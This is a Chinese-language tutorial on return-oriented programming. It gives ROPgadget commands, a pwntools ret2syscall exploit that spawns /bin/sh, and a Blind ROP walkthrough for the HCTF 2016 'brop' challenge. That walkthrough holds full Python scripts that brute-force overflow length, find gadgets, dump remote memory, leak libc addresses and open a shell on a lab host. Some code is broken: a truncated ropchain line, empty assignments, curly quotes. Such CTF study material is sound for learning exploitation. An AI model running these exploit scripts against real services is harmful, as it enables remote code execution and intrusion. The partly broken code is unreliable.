ROP
返回导向编程(英语:Return-Oriented Programming,缩写:ROP)是计算机安全中的一种漏洞利用技术,该技术允许攻击者在程序启用了安全保护技术(如堆栈不可执行)的情况下控制程序执行流,执行恶意代码。其核心思想是通过栈溢出等方式控制堆栈调用以劫持程序控制流并执行针对性的机器语言指令序列(称为Gadgets)。所谓 gadgets 就是以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。
栈帧变化
普通ROP:
方法1:
• F5反汇编
• checksec 查看信息
• 计算padding
• 查找gadgets
ROPgadget --binary ret2syscall --only 'pop|ret' | grep 'eax'
ROPgadget --binary ret2syscall --only 'pop|ret' | grep 'ebx'
ROPgadget --binary ret2syscall --only 'int'
ROPgadget --binary ret2syscall --string '/bin/sh'
from pwn import *
p = process('./ret2syscall')
pop_edx = 0x0806eb90
binbash = 0x080be408
pop_eax = 0x080bb196
int_0x80 = 0x08049421
payload = flat(['A' * 112, pop_edx, 0, 0, binbash, pop_eax, 0xb, int_0x80])
p.sendline(payload)
p.interactive()
ROPgadget --binary ret2syscall --ropchain
from struct import pack
Padding goes here
p = b''
p += pack(b'
BROP
利用条件
- 存在稳定触发的栈溢出漏洞。
- 进程崩溃后,会立即重启,且重启后的内存不会重新随机化。这样及时开启了ASLR也可以利用。
- 如果开启了PIE,则服务器必须是fork服务器,且不能使用execve。
利用阶段
- Stack Reading : 泄露返回地址和canaries。根据返回地址确定加载地址。一个字节一个字节爆破8字节canaries,每个字节有256中可能性。
- BROP:远程搜索gadgets,目标是将目标程序从内存写到socket,传回攻击者本地。
a. 通过syscall、call调用类似write、put等函数。 - Build EXP:利用gadgets构造的ROP,从内存中拿出来。就可以进行普通ROP攻击了。
例二:HCTF 2016 brop
#include
#include
#include
int i;
int check();
int main(void) {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
puts("WelCome my friend,Do you know password?");
if(!check()) {
puts("Do not dump my memory");
} else {
puts("No password, no game");
}
}
int check() {
char buf[50];
read(STDIN_FILENO, buf, 1024);
return strcmp(buf, "aslvkm;asd;alsfm;aoeim;wnv;lasdnvdljasd;flk");
}
出题人GitHub连接https://github.com/zh-explore...
- 爆破溢出长度。每次增加一个字符,如果正常返回说明没有溢出。如果刚好错误,说明已经溢出了。返回溢出值 - 1
def get_buffer_size():
for i in range(100):
payload = "A"
payload += "A" * i
buf_size = len(payload) - 1
try:
p = remote('192.168.190.129', 10001)
p.recvuntil("password?\n")
p.send(payload)
p.recv()
p.close()
log.info("bad: %d" % buf_size)
except EOFError as e:
p.close()
log.info("buffer size: %d" % buf_size)
return buf_size
def get_stop_addr(buf_size):
addr = 0x400000
while 1:
addr += 1
payload = b’b’ * buf_size
payload += p64(addr)
try:
p = get_io()
p.sendline(payload)
p.recv(timeout=1)
p.close()
log.info("stop addr:0x%x" % addr)
return addr
except EOFError as e:
# p.close()
log.info("stop bad 0x%x" % addr)
except:
p.close()
addr -= 1
def get_gadgets_addr(buf_size, stop_addr):
addr = stop_addr
while 1:
# sleep(0.1)
addr += 1
payload = b’b’ * buf_size
payload += p64(addr)
payload += p64(1)
payload += p64(2)
payload += p64(3)
payload += p64(4)
payload += p64(5)
payload += p64(6)
try:
io = get_io()
io.sendline(payload + p64(stop_addr))
io.recv(timeout=1)
io.close()
log.info("find address: 0x%x" % addr)
try:
io = get_io()
io.sendline(payload)
io.recv(timeout=1)
io.close()
log.info("bad address 0x%x" % addr)
except:
io.close()
log.info("gadget address:0x%x" % addr)
return addr
except EOFError as e:
io.close()
log.info("bad: 0x%x" % addr)
except:
log.info("can't connect")
addr -= 1
此时堆栈情况
- 找到程序中的puts、write函数。目的是通过这个函数打印程序内存数据、函数地址等。
利用Windows可执行文件 45 5a linux \7fELF方式进行判断是否是真正的put地址。
def get_puts_call_addr(buf_size, stop_addr, gadget_addr):
addr = stop_addr
pop_rdi = gadget_addr + 9
# addr = 0x401190
while 1:
sleep(0.1)
addr += 1
payload = b’b’ * buf_size
payload += p64(pop_rdi)
payload += p64(0x400000)
payload += p64(addr)
payload += p64(stop_addr)
try:
io = get_io()
io.sendline(payload)
# print(str(io.recv()))
elf = io.recv()
if elf.startswith(b"\x7fELF"):
print(elf)
log.info("puts call address: 0x%x" % addr)
io.close()
return addr
log.info("puts bad 0x%x" % addr)
io.close()
except EOFError as e:
io.close()
log.info("puts bad 0x%x" % addr)
except:
log.info("can't connect")
addr -= 1
此时堆栈分析
pdi = 0x400000 == puts(0x400000)
- dump程序内存,和第四步一样,只是这里确定了函数地址,变化参数值而已。目的是打印函数内存,找到put_got的值
def dump_memory(buf_size, stop_addr, gadgets_addr, puts_plt, start_addr, end_addr):
pop_rdi = gadgets_addr + 9 # pop rdi; ret
result = b""
while start_addr < end_addr:
# print result.encode('hex')
# sleep(0.1)
payload = b"A" * buf_size
payload += p64(pop_rdi)
payload += p64(start_addr)
payload += p64(puts_plt)
payload += p64(stop_addr)
try:
p = get_io()
p.sendline(payload)
data = p.recv(timeout=0.1) # timeout makes sure to recive all bytes
if data == "\n":
data = "\x00"
elif data[-1] == "\n":
data = data[:-1]
# log.info("leaking: 0x%x --> %s" % (start_addr, (data or '').encode('hex')))
result += data
start_addr += len(data)
p.close()
print("%d" % (end_addr - start_addr))
except:
# pass
log.info("Can't connect")
return result
def get_puts_addr(buf_size, gadget_addr, puts_got, puts_call_addr, stop_addr):
payload = b"A" * buf_size
payload += p64(gadget_addr + 9)
payload += p64(puts_got)
payload += p64(puts_call_addr)
payload += p64(stop_addr)
data = b''
p = get_io()
p.sendline(payload)
data = p.recvline()
data = u64(data[:-1] + b'\x00\x00')
log.info("puts address: 0x%x" % data)
p.close()
return data
- 利用ret2libc中学习的基地址绑定关系,得到system和/bin/sh地址
def leak(buf_size, gadget_addr, puts_got, puts_call_addr, stop_addr):
global system_addr, binsh_addr
puts_addr = get_puts_addr(buf_size, gadget_addr, puts_got, puts_call_addr, stop_addr)
# 利用libcsearch
# libcSearch = LibcSearcher('puts', puts_addr)
# libc_base = puts_addr - libcSearch.dump('puts')
#
# system_addr = libc_base + libcSearch.dump('system')
# binsh_addr = libc_base + libcSearch.dump('str_bin_sh')
#
# log.info("system 0x%x" % system_addr)
# log.info("system 0x%x" % binsh_addr)
#
# 利用libc.so
libc = ELF('./ubuntu_libc.so.6')
libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
# binsh_addr = puts_addr - libc.sym['puts'] + 0x186C6C
print(hex(libc.sym['system']))
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
log.info("system 0x%x" % system_addr)
log.info("binsh 0x%x" % binsh_addr)
- 执行system
def pwn(buf_size, gadget_addr, puts_got, puts_call_addr, stop_addr):
payload = b’b’ * buf_size
payload += p64(gadget_addr + 9)
payload += p64(binsh_addr)
payload += p64(system_addr)
io = get_io()
io.sendline(payload)
io.interactive()
rdi = /bin/sh
system("/bin/sh")
- 执行
if __name__ == "__main__":
# buf_size = get_buffer_size()
buf_size =
# stop_addr = get_stop_addr(buf_size)
stop_addr =
# gadget_addr = get_gadgets_addr(buf_size, stop_addr)
gadget_addr =
# puts_call_addr = get_puts_call_addr(buf_size, stop_addr, gadget_addr)
# puts_call_addr =
puts_call_addr =
#
# data_bin = dump_memory(72,stop_addr,gadget_addr,puts_call_addr,0x400000,0x402000)
# with open('data.bin','wb') as f:
# f.write(data_bin)
# f.close()
# puts_got =
puts_got =
leak(buf_size, gadget_addr, puts_got, puts_call_addr, stop_addr)
pwn(buf_size, gadget_addr, puts_got, puts_call_addr, stop_addr)